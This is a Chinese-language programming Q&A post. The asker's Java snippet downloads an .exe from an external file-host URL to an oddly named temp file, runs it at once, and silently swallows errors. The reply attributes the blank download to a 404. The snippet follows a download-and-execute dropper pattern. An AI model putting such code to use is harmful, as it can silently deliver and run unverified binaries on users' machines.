该文件在 eclipse 中正确下载,但是当我导出 jar 时,它总是下载一个空白的 exe。谁能帮忙?
public static void downloadAndRunFile(final URL from, final File to) throws Exception {
try (final InputStream in = from.openStream()) {
Files.copy(in, to.toPath(), StandardCopyOption.REPLACE_EXISTING);
}
Desktop.getDesktop().open(to);
}
正在运行的实际代码
String bub = "https://a.coka.la/bnH6Vg.exe";
try {
Pandora.downloadAndRunFile(
new URL(bub),
File.createTempFile("feelthevluci", ".exe"));
} catch (Exception e) {
// TODO Auto-generated catch block
}
}
代码中的 URL 似乎返回 404。
我将其更改为我知道有效且安全的东西,并且在 IDE 和 jar 文件中都有效。
通过 curl、浏览器或其他工具检查 URL,以确保它正常工作。